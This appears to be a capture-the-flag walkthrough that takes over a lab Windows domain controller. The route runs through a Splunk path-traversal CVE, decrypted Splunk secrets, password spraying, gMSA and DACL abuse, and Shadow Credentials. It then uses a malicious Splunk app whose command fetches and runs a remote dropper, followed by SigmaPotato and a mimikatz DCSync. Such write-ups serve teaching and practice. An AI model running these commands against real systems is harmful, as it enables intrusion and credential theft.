External Recon
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-04-01 21:31:02Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after: 2026-03-05T07:12:20
|_ssl-date: TLS randomness does not represent time
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
8000/tcp open http Splunkd httpd
|_http-server-header: Splunkd
| http-robots.txt: 1 disallowed entry
|_/
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was http://10.129.221.84:8000/en-US/account/login?return_to=%2Fen-US%2F
8088/tcp open ssl/http Splunkd httpd
8089/tcp open ssl/http Splunkd httpd
Host script results:
|_clock-skew: 7h59m59s
Performing the usual nmap
scan shows that I am dealing with a Domain Controller, that alongside the expected ports is also running a Splunk instance, which is accessible on the ports 8000,8088,8089
. For all things Active Directory I add the discovered domain and the hostname of the DC to my /etc/hosts
file.
The Splunk Atom Feed, which can be found at https://haze.htb:8089
reveals the running Splunk version to me. Since a Splunk installation is the anomaly on this machine I look for potential exploits next.
Foothold
CVE-2024-36991
Googling about potential CVEs I land on CVE-2024-36991, which is a path traversal vulnerability that allows an unauthenticated attacker to read files from the system. It affects every Splunk Enterprise Windows up until 9.2.2 (and such more versions), but this means the running version is affected.
For initial exploitation I use this proof-of-concept from Github, which will read the /etc/passwd
file. Pointing it towards the Splunk instance confirms that the CVE can be exploited. And reveals the configured users on the instance.
$ python3 CVE-2024-36991.py -u http://haze.htb:8000
[...]
[INFO] Log directory created: logs
[INFO] Testing single target: http://haze.htb:8000
[VLUN] Vulnerable: http://haze.htb:8000
:admin:$6$Ak3m7.aHgb/NOQez$O7C8Ck2lg5RaXJs9FrwPr7xbJBJxMCpqIx3TG30Pvl7JSvv0pn3vtYnt8qF4WhL7hBZygwemqn7PBj5dLBm0D1::Administrator:admin:changeme@example.com:::20152
:edward:$6$3LQHFzfmlpMgxY57$Sk32K6eknpAtcT23h6igJRuM1eCe7WAfygm103cQ22/Niwp1pTCKzc0Ok1qhV25UsoUN4t7HYfoGDb4ZCv8pw1::Edward@haze.htb:user:Edward@haze.htb:::20152
:mark:$6$j4QsAJiV8mLg/bhA$Oa/l2cgCXF8Ux7xIaDe3dMW6.Qfobo0PtztrVMHZgdGa1j8423jUvMqYuqjZa/LPd.xryUwe699/8SgNC6v2H/:::user:Mark@haze.htb:::20152
:paul:$6$Y5ds8NjDLd7SzOTW$Zg/WOJxk38KtI.ci9RFl87hhWSawfpT6X.woxTvB4rduL4rDKkE.psK7eXm6TgriABAhqdCPI4P0hcB8xz0cd1:::user:paul@haze.htb:::20152
Looking at the exploit code shows that the script is can be reduced to a single cURL command. To script the retrieval of multiple files, I first create a list of potentially interesting files from Splunk using its documentation1.
List of Configurations
alert_actions.conf app.conf audit.conf authentication.conf authorize.conf bookmarks.conf checklist.conf collections.conf commands.conf datamodels.conf deploymentclient.conf distsearch.conf event_renderers.conf eventtypes.conf federated.conf fields.conf global-banner.conf health.conf indexes.conf inputs.conf limits.conf literals.conf macros.conf messages.conf metric_rollups.conf multikv.conf outputs.conf passwords.conf procmon-filters.conf props.conf pubsub.conf restmap.conf rolling_upgrade.conf savedsearches.conf searchbnf.conf segmenters.conf server.conf serverclass.conf serverclass.seed.xml.conf source-classifier.conf sourcetypes.conf tags.conf telemetry.conf times.conf transactiontypes.conf transforms.conf ui-prefs.conf user-prefs.conf user-seed.conf visualizations.conf viewstates.conf web.conf web-features.conf wmi.conf workflow_actions.conf workload_policy.conf workload_pools.conf workload_rules.conf
I then saved these filenames into the file configs.txt
and iterated over it using this shell script to download potentially every configuration file.
while read c; do
curl -s "http:/haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../Program%20Files/Splunk/etc/system/local/$c" > $c
done <configs.txt
With them downloaded I start searching for credentials and other interesting information. Using a simple grep
command I find three potential passwords.
$ grep -ir pass .
./server.conf:pass4SymmKey = $7$lPCemQk01ejJvI8nwCjXjx7PJclrQJ+SfC3/ST+K0s+1LsdlNuXwlA==
./server.conf:sslPassword = $7$/nq/of9YXJfJY+DzwGMxgOmH4Fc0dgNwc5qfCiBhwdYvg9+0OCCcQw==
./authentication.conf:minPasswordLength = 8
./authentication.conf:minPasswordUppercase = 0
./authentication.conf:minPasswordLowercase = 0
./authentication.conf:minPasswordSpecial = 0
./authentication.conf:minPasswordDigit = 0
./authentication.conf:bindDNpassword = $7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY=
These password are not hashed but actually encrypted and can be decrypted with a tool like splunksecrets. I install it using uv
and check what information it need to decrypt these strings.
$ uv tool install splunksecrets
$ splunksecrets splunk-decrypt --help
Usage: splunksecrets splunk-decrypt [OPTIONS]
Decrypt password using Splunk 7.2 algorithm
Options:
-S, --splunk-secret TEXT [required]
--ciphertext TEXT
--help Show this message and exit.
To decrypt the password I also need the splunk.secrets
file which is stored in the $SPLUNK_HOME/etc/auth
. So I use yet another cURL command to retrieve it.
$ curl -s "http:/haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../Program%20Files/Splunk/etc/auth/splunk.secret" > splunk.secret
$ cat splunk.secret
NfKeJCdFGKUQUqyQmnX/WM9xMn5uVF32qyiofYPHkEOGcpMsEN.lRPooJnBdEL5Gh2wm12jKEytQoxsAYA5mReU9.h0SYEwpFMDyyAuTqhnba9P2Kul0dyBizLpq6Nq5qiCTBK3UM516vzArIkZvWQLk3Bqm1YylhEfdUvaw1ngVqR1oRtg54qf4jG0X16hNDhXokoyvgb44lWcH33FrMXxMvzFKd5W3TaAUisO6rnN0xqB7cHbofaA1YV9vgD
The password from server.conf
decrypt to the default password of changeme
.
$ splunksecrets splunk-decrypt -S splunk.secret --ciphertext '$7$lPCemQk01ejJvI8nwCjXjx7PJclrQJ+SfC3/ST+K0s+1LsdlNuXwlA=='
changeme
$ splunksecrets splunk-decrypt -S splunk.secret --ciphertext '$7$/nq/of9YXJfJY+DzwGMxgOmH4Fc0dgNwc5qfCiBhwdYvg9+0OCCcQw=='
password
The last password decrypts to an likely actual password.
$ splunksecrets splunk-decrypt -S splunk.secret --ciphertext '$7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY='
Ld@p_Auth_Sp1unk@2k24
Following the successful decryption I take another look at the entire file to see which user the password belongs to. From the configuration I can “only” gather the distinguished name of the user.
[splunk_auth]
minPasswordLength = 8
minPasswordUppercase = 0
minPasswordLowercase = 0
minPasswordSpecial = 0
minPasswordDigit = 0
[Haze LDAP Auth]
SSLEnabled = 0
anonymous_referrals = 1
bindDN = CN=Paul Taylor,CN=Users,DC=haze,DC=htb
bindDNpassword = $7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY=
charset = utf8
emailAttribute = mail
enableRangeRetrieval = 0
groupBaseDN = CN=Splunk_LDAP_Auth,CN=Users,DC=haze,DC=htb
groupMappingAttribute = dn
groupMemberAttribute = member
groupNameAttribute = cn
host = dc01.haze.htb
nestedGroups = 0
network_timeout = 20
pagelimit = -1
port = 389
realNameAttribute = cn
sizelimit = 1000
timelimit = 15
userBaseDN = CN=Users,DC=haze,DC=htb
userNameAttribute = samaccountname
[authentication]
authSettings = Haze LDAP Auth
authType = LDAP
Password Spray
To get potential usernames from the distinguished name I use username-anarchy
to first create a list and spray the found password against them.
$ username-anarchy Paul Taylor > paul_usernames.txt
$ nxc smb haze.htb -u paul_usernames.txt -p 'Ld@p_Auth_Sp1unk@2k24'
SMB 10.129.221.84 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:False)
SMB 10.129.221.84 445 DC01 [-] haze.htb\paul:Ld@p_Auth_Sp1unk@2k24 STATUS_LOGON_FAILURE
SMB 10.129.221.84 445 DC01 [-] haze.htb\paultaylor:Ld@p_Auth_Sp1unk@2k24 STATUS_LOGON_FAILURE
SMB 10.129.221.84 445 DC01 [+] haze.htb\paul.taylor:Ld@p_Auth_Sp1unk@2k24
With a valid credentials I then move the gather information about the domain. I initially ran Bloodhound, but as we will soon see this is a bit hazy when running it as paul.taylor
. Normally you could use --users-export
flag, but this fails due to missing permissions. So instead of relying on permissions I can fallback to RID cycling to enumerate the Domain objects.
$ nxc smb haze.htb -u 'paul.taylor' -p 'Ld@p_Auth_Sp1unk@2k24' --rid-brute | grep 'SidTypeUser' | grep -oP 'HAZE\\.*? ' | awk -F '\' '{print $2}'
Administrator
Guest
krbtgt
DC01$
paul.taylor
mark.adams
edward.martin
alexander.green
Haze-IT-Backup$
With a cleaned up list of other domain users I perform a second round of password spraying to successfully identify a case of password reuse. Granting me also access as mark.adams
.
$ nxc smb haze.htb -u loot/usernames.txt -p 'Ld@p_Auth_Sp1unk@2k24' --continue-on-success
SMB 10.129.221.84 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:False)
SMB 10.129.221.84 445 DC01 [-] haze.htb\Administrator:Ld@p_Auth_Sp1unk@2k24 STATUS_LOGON_FAILURE
SMB 10.129.221.84 445 DC01 [-] haze.htb\Guest:Ld@p_Auth_Sp1unk@2k24 STATUS_LOGON_FAILURE
SMB 10.129.221.84 445 DC01 [-] haze.htb\krbtgt:Ld@p_Auth_Sp1unk@2k24 STATUS_LOGON_FAILURE
SMB 10.129.221.84 445 DC01 [-] haze.htb\DC01$:Ld@p_Auth_Sp1unk@2k24 STATUS_LOGON_FAILURE
SMB 10.129.221.84 445 DC01 [+] haze.htb\paul.taylor:Ld@p_Auth_Sp1unk@2k24
SMB 10.129.221.84 445 DC01 [+] haze.htb\mark.adams:Ld@p_Auth_Sp1unk@2k24
SMB 10.129.221.84 445 DC01 [-] haze.htb\edward.martin:Ld@p_Auth_Sp1unk@2k24 STATUS_LOGON_FAILURE
SMB 10.129.221.84 445 DC01 [-] haze.htb\alexander.green:Ld@p_Auth_Sp1unk@2k24 STATUS_LOGON_FAILURE
SMB 10.129.221.84 445 DC01 [-] haze.htb\Haze-IT-Backup$:Ld@p_Auth_Sp1unk@2k24 STATUS_LOGON_FAILURE
Internal Recon
As said before I ran the Bloodhound ingestor as soon as I got a valid credential for a domain user. However the collected data seemed to be incomplete. Since several SIDs could not be resolved and users such as mark.adams
are missing from the data. The output confirm this by showing that only three users were collected.
$ bloodhound-ce-python -u 'paul.taylor' -p 'Ld@p_Auth_Sp1unk@2k24' -d 'haze.htb' -c All -ns 10.129.221.84
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: haze.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: dc01.haze.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.haze.htb
INFO: Found 3 users
INFO: Found 32 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 18 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc01.haze.htb
INFO: Done in 00M 03S
So as a sanity check I reran the ingestor using the credentials for mark.adams
and can immediately see that more data about the domain is collected.
$ bloodhound-ce-python -u 'mark.adams' -p 'Ld@p_Auth_Sp1unk@2k24' -d 'haze.htb' -c All -ns 10.129.221.84
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: haze.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: dc01.haze.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.haze.htb
INFO: Found 8 users
INFO: Found 57 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc01.haze.htb
INFO: Done in 00M 03S
Jumping ahead in the box for a little. Once accessed the machine through winRM and enumerated ACLs between compromised and interesting objects I found what seems to be the reason why paul.taylor
can see only a few user objects. The account is explicitly denied from reading properties of the Users
group, which includes the list of members. Additionally they are denied GenericExecute which is needed to list the contents of a container2.
operator@sliver$ standin -- --object distinguishedname="CN=Users,DC=haze,DC=htb" --access --ntaccount="HAZE\paul.taylor"
[*] standin output:
[?] Using DC : dc01.haze.htb
[?] Object : CN=Users
Path : LDAP://CN=Users,DC=haze,DC=htb
[+] Object properties
|_ Owner : HAZE\Domain Admins
|_ Group : HAZE\Domain Admins
[+] Object access rules
[+] Identity --> HAZE\paul.taylor
|_ Type : Deny
|_ Permission : ReadProperty, GenericExecute
GMSA
With two runs of Bloodhound data collected a more complete picture begins to form. I can see thatmark.adams
is a member of the gMSA_Managers
group, but said group does not have any outbound object control such as readGMSAPassword
over Haze-IT-Backup$
account (initial found during RID-Cycling). Just blindly retrieving gMSA hashes with nxc
also falls flat.
$ nxc ldap haze.htb -u 'mark.adams' -p 'Ld@p_Auth_Sp1unk@2k24' --gmsa
SMB 10.129.221.84 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:False)
LDAPS 10.129.221.84 636 DC01 [+] haze.htb\mark.adams:Ld@p_Auth_Sp1unk@2k24
LDAPS 10.129.221.84 636 DC01 [*] Getting GMSA Passwords
LDAPS 10.129.221.84 636 DC01 Account: Haze-IT-Backup$ NTLM:
At this point I connected to the machine as mark.adams
using winRM and enumerated the gMSA account a bit more. Do this I used the already present RSAT Powershell modules. Checking the properties of the account shows that currently only the Domain Admins are allowed to read the gMSA NT hash.
$ Get-ADServiceAccount Haze-IT-Backup -Properties PrincipalsAllowedToRetrieveManagedPassword
DistinguishedName : CN=Haze-IT-Backup,CN=Managed Service Accounts,DC=haze,DC=htb
Enabled : True
Name : Haze-IT-Backup
ObjectClass : msDS-GroupManagedServiceAccount
ObjectGUID : 66f8d593-2f0b-4a56-95b4-01b326c7a780
PrincipalsAllowedToRetrieveManagedPassword : {CN=Domain Admins,CN=Users,DC=haze,DC=htb}
SamAccountName : Haze-IT-Backup$
SID : S-1-5-21-323145914-28650650-2368316563-1111
UserPrincipalName :
Instead of transferring tooling onto the machine I utilise my Sliver Dropper to get a Beacon as mark.adams
. From there I use a tool called StandIn to enumerate the access permissions of the Haze-IT-Backup$
account and filter the output based on whether the HAZE\gMSA_Managers
group is part of an ACE.
On the very bottom of the output I can see that mark.adams
as a member of the gMSA_Managers
group can write to the msDS-GroupMSAMembership
property.
operator@sliver$ standin -- --object samaccountname="Haze-IT-Backup$" --access --ntaccount="HAZE\gMSA_Managers"
[*] standin output:
[?] Using DC : dc01.haze.htb
[?] Object : CN=Haze-IT-Backup
Path : LDAP://CN=Haze-IT-Backup,CN=Managed Service Accounts,DC=haze,DC=htb
[+] Object properties
|_ Owner : HAZE\Domain Admins
|_ Group : HAZE\Domain Admins
[+] Object access rules
[+] Identity --> HAZE\gMSA_Managers
|_ Type : Allow
|_ Permission : ReadProperty, GenericExecute
|_ Object : ANY
[+] Identity --> HAZE\gMSA_Managers
|_ Type : Allow
|_ Permission : WriteProperty
|_ Object : msDS-GroupMSAMembership
This property as described by Netwrix 3 contains a list of objects that have permission to query the password for the gMSA. Meaning I use the write permission to give any account I want the privilege the read the gMSA password. Here I again sue the RSAT tools to set mark.adamas
in the msDS-GroupMSAMembership
property and query the gMSA account again to verify my modification.
$ Set-ADServiceAccount -Identity 'Haze-IT-Backup' -PrincipalsAllowedToRetrieveManagedPassword 'mark.adams'
$ Get-ADServiceAccount 'Haze-IT-Backup' -Properties PrincipalsAllowedToRetrieveManagedPassword
DistinguishedName : CN=Haze-IT-Backup,CN=Managed Service Accounts,DC=haze,DC=htb
Enabled : True
Name : Haze-IT-Backup
ObjectClass : msDS-GroupManagedServiceAccount
ObjectGUID : 66f8d593-2f0b-4a56-95b4-01b326c7a780
PrincipalsAllowedToRetrieveManagedPassword : {CN=Mark Adams,CN=Users,DC=haze,DC=htb}
SamAccountName : Haze-IT-Backup$
SID : S-1-5-21-323145914-28650650-2368316563-1111
UserPrincipalName :
Now I can rerun the nxc
command from before and successfully retrieve the NT hash of Haze-IT-Backup$
.
$ nxc ldap haze.htb -u 'mark.adams' -p 'Ld@p_Auth_Sp1unk@2k24' --gmsa
SMB 10.129.221.84 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:False)
LDAPS 10.129.221.84 636 DC01 [+] haze.htb\mark.adams:Ld@p_Auth_Sp1unk@2k24
LDAPS 10.129.221.84 636 DC01 [*] Getting GMSA Passwords
LDAPS 10.129.221.84 636 DC01 Account: Haze-IT-Backup$ NTLM: 735c02c6b2dc54c3c8c6891f55279ebc
Privilege Escalation
DACL Abuse
At this point I started to become pseudo-paranoid and ran Bloodhound again with the Haze-IT-Backup$
user, however this only collected a minuscule amount of new information.
$ bloodhound-ce-python -u 'Haze-IT-Backup$' --hashes ':735c02c6b2dc54c3c8c6891f55279ebc' -d 'haze.htb' -c All -ns 10.129.221.84
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: haze.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: dc01.haze.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.haze.htb
INFO: Found 9 users
INFO: Found 57 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 20 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc01.haze.htb
INFO: Done in 00M 03S
During previous enumeration with StandIn (not show on the blog) and now also in BloodHound I can see a path towards the user edwards.martin
. Which is also a member of the Remote Management User
group.
From here on out is rather straight forward DACL abuse. I first take full control over the support_services
group, by making an attacker controlled account the new owner. And then use the ownership to grant myself GenericAll over the group.
$ bloodyAD --host dc01.haze.htb -d haze.htb -u 'Haze-IT-Backup$' -p ':735c02c6b2dc54c3c8c6891f55279ebc' set owner 'CN=SUPPORT_SERVICES,CN=USERS,DC=HAZE,DC=HTB' 'CN=HAZE-IT-BACKUP,CN=MANAGED SERVICE ACCOUNTS,DC=HAZE,DC=HTB'
[+] Old owner S-1-5-21-323145914-28650650-2368316563-512 is now replaced by CN=HAZE-IT-BACKUP,CN=MANAGED SERVICE ACCOUNTS,DC=HAZE,DC=HTB on CN=SUPPORT_SERVICES,CN=USERS,DC=HAZE,DC=HTB
$ bloodyAD --host dc01.haze.htb -d haze.htb -u 'Haze-IT-Backup$' -p ':735c02c6b2dc54c3c8c6891f55279ebc' add genericAll 'CN=SUPPORT_SERVICES,CN=USERS,DC=HAZE,DC=HTB' 'CN=HAZE-IT-BACKUP,CN=MANAGED SERVICE ACCOUNTS,DC=HAZE,DC=HTB'
[+] CN=HAZE-IT-BACKUP,CN=MANAGED SERVICE ACCOUNTS,DC=HAZE,DC=HTB has now GenericAll on CN=SUPPORT_SERVICES,CN=USERS,DC=HAZE,DC=HTB
With control over the group I next up add an attacker controlled account to the group and abuse the AddKeyCredentialLink
to use the Shadow Credential technique retrieve the NT hash of edwards.martin
. Since the during the processes of getting the NT hash a TGT is requested I sync my time to that of the DC beforehand.
$ bloodyAD --host dc01.haze.htb -d haze.htb -u 'Haze-IT-Backup$' -p ':735c02c6b2dc54c3c8c6891f55279ebc' add groupMember 'CN=SUPPORT_SERVICES,CN=USERS,DC=HAZE,DC=HTB' 'CN=HAZE-IT-BACKUP,CN=MANAGED SERVICE ACCOUNTS,DC=HAZE,DC=HTB'
[+] CN=HAZE-IT-BACKUP,CN=MANAGED SERVICE ACCOUNTS,DC=HAZE,DC=HTB added to CN=SUPPORT_SERVICES,CN=USERS,DC=HAZE,DC=HTB
$ sudo timedatectl set-ntp 0
$ sudo rdate -n 10.129.221.84
$ certipy-ad shadow auto -u 'Haze-IT-Backup$@haze.htb' -hashes '735c02c6b2dc54c3c8c6891f55279ebc' -target 'dc01.haze.htb' -dc-ip 10.129.221.84 -account 'edward.martin'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Targeting user 'edward.martin'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '32d96cda-81fb-152e-7bdf-d8e64150fb8f'
[*] Adding Key Credential with device ID '32d96cda-81fb-152e-7bdf-d8e64150fb8f' to the Key Credentials for 'edward.martin'
[*] Successfully added Key Credential with device ID '32d96cda-81fb-152e-7bdf-d8e64150fb8f' to the Key Credentials for 'edward.martin'
[*] Authenticating as 'edward.martin' with the certificate
[*] Using principal: edward.martin@haze.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'edward.martin.ccache'
[*] Trying to retrieve NT hash for 'edward.martin'
[*] Restoring the old Key Credentials for 'edward.martin'
[*] Successfully restored the old Key Credentials for 'edward.martin'
[*] NT hash for 'edward.martin': 09e0b3eeb2e7a6b0d419e9ff8f4d91af
Splunk Backup
Now I can connect to the machine through winRM as edward.martin
and read the contents of the C:\Backups
directory, which one might have previously identified. I could use the built-in download function of winRM, but in this case I went with standing up a SMB server to copy over the archive.
attacker@kali$ smbserver.py -smb2support "loot" loot
edward.martin@haze$ copy splunk_backup_2024-08-06.zip \\10.10.14.84\loot
After unzipping the file I go hunting for encrypted passwords again, similar to the beginning of the box. But now that I now what I am looking for I can use a better regex. (Well as you can see passw
would have also found all of them)
$ find . -name '*.conf' -exec grep -rP '\$\d\$' {} ';'
pass4SymmKey = $7$u538ChVu1V7V9pXEWterpsj8mxzvVORn8UdnesMP0CHaarB03fSbow==
sslPassword = $7$C4l4wOYleflCKJRL9l/lBJJQEBeO16syuwmsDCwft11h7QPjPH8Bog==
bindDNpassword = $1$YDz8WfhoCWmf6aTRkA+QqUI=
However unlike before I now have to use the splunk-legacy-decrypt
function, since the password starting with $1$
is actually in legacy format. After decryption the password I also check to which user this password might belong.
$ splunksecrets splunk-legacy-decrypt -S etc/auth/splunk.secret --ciphertext '$1$YDz8WfhoCWmf6aTRkA+QqUI='
Sp1unkadmin@2k24
$ cat etc/passwd
:admin:$6$8FRibWS3pDNoVWHU$vTW2NYea7GiZoN0nE6asP6xQsec44MlcK2ZehY5RC4xeTAz4kVVcbCkQ9xBI2c7A8VPmajczPOBjcVgccXbr9/::Administrator:admin:changeme@example.com:::19934
With this password I can now log into the Splunk instance as an administrator user.
To gain code execution on the underlying host I make use of this repository, which contains an easy to use/modify Splunk app that will run an attacker specified command. So I clone the repository and edit only the following file to fetch and execute a Sliver dropper.
iwr -useba 'http://10.10.14.143:8443/dropper.ps1' | iex
With that done I simply follow the instructions of the repository to compress and rename the app files.
$ tar -cvzf reverse_shell_splunk.tgz reverse_shell_splunk
reverse_shell_splunk/
reverse_shell_splunk/bin/
reverse_shell_splunk/bin/run.bat
reverse_shell_splunk/bin/run.ps1
reverse_shell_splunk/bin/rev.py
reverse_shell_splunk/default/
reverse_shell_splunk/default/inputs.conf
$ mv reverse_shell_splunk.tgz reverse_shell_splunk.spl
Now I upload the App by navigating to Apps → Manage → Install App From File, where I can upload the created .spl
file.
SeImpersonate
Following the upload a minimum of one Sliver beacon calls back to my C2 server. Checking the privileges of the user shows that the have the SeImpersonatePrivilege
which is an easy Local Privilege Escalation.
operator@sliver$ getprivs
Privilege Information for svchost.exe (PID: 2020)
-------------------------------------------------
Process Integrity Level: High
Name Description Attributes
==== =========== ==========
SeMachineAccountPrivilege Add workstations to domain Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled, Enabled by Default
SeImpersonatePrivilege Impersonate a client after authentication Enabled, Enabled by Default
SeCreateGlobalPrivilege Create global objects Enabled, Enabled by Default
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
To get a new Beacon as SYSTEM
I first transfer a Sliver executable on to the machine, which I will run as SYSTEM
using SigmaPotato.
operator@sliver$ execute-assembly SigmaPotato.exe "C:\ProgramData\ETHICAL_BLIZZARD.exe"
After this I wanted to dump the NT hash of the Domain Administrator, but this initially failed. Somehow my Beacon was not 100% functional, which I assume to be a side effect of spawning Sliver through SigmaPotato.
operator@sliver$ mimikatz -t 120 "\"lsadump::dcsync /user:Administrator\"" "exit"
[!] Could not load extension: rpc error: code = Unknown desc = Error building import table: Error loading module: A dynamic link library (DLL) initialization routine failed.
As a workaround, since I now also had the SeDebugPrivilege
I used the “Potato-Beacon” to use the built-in getsystem
, which can work with SeDebugPrivilege
to spawn a fully functioning SYSTEM
beacon. From which I can now successfully DCSync the Domain Administrator NT hash.
operator@sliver$ mimikatz "\"lsadump::dcsync /user:Administrator\"" "exit"
[*] Successfully executed mimikatz
[*] Got output:
.#####. mimikatz 2.2.0 (x64) #19041 May 17 2024 22:19:06
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # lsadump::dcsync /user:Administrator
[DC] 'haze.htb' will be the domain
[DC] 'dc01.haze.htb' will be the DC server
[DC] 'Administrator' will be the user account
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
Object RDN : Administrator
** SAM ACCOUNT **
SAM Username : Administrator
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration :
Password last change : 3/20/2025 2:34:49 PM
Object Security ID : S-1-5-21-323145914-28650650-2368316563-500
Object Relative ID : 500
Credentials:
Hash NTLM: 06dc954d32cb91ac2831d67e3e12027f
ntlm- 0: 06dc954d32cb91ac2831d67e3e12027f
ntlm- 1: 060222100e2edc0a5e173b4027d0d7ae
lm - 0: 7a67f9a840029ea3ee20148e0751b022
[...]
Footnotes
-
https://docs.splunk.com/Documentation/Splunk/9.2.1/Admin/Listofconfigurationfiles ↩
-
https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryrights?view=windowsdesktop-9.0&viewFallbackFrom=net-8.0 ↩
-
https://blog.netwrix.com/2022/10/13/group-managed-service-accounts-gmsa/ ↩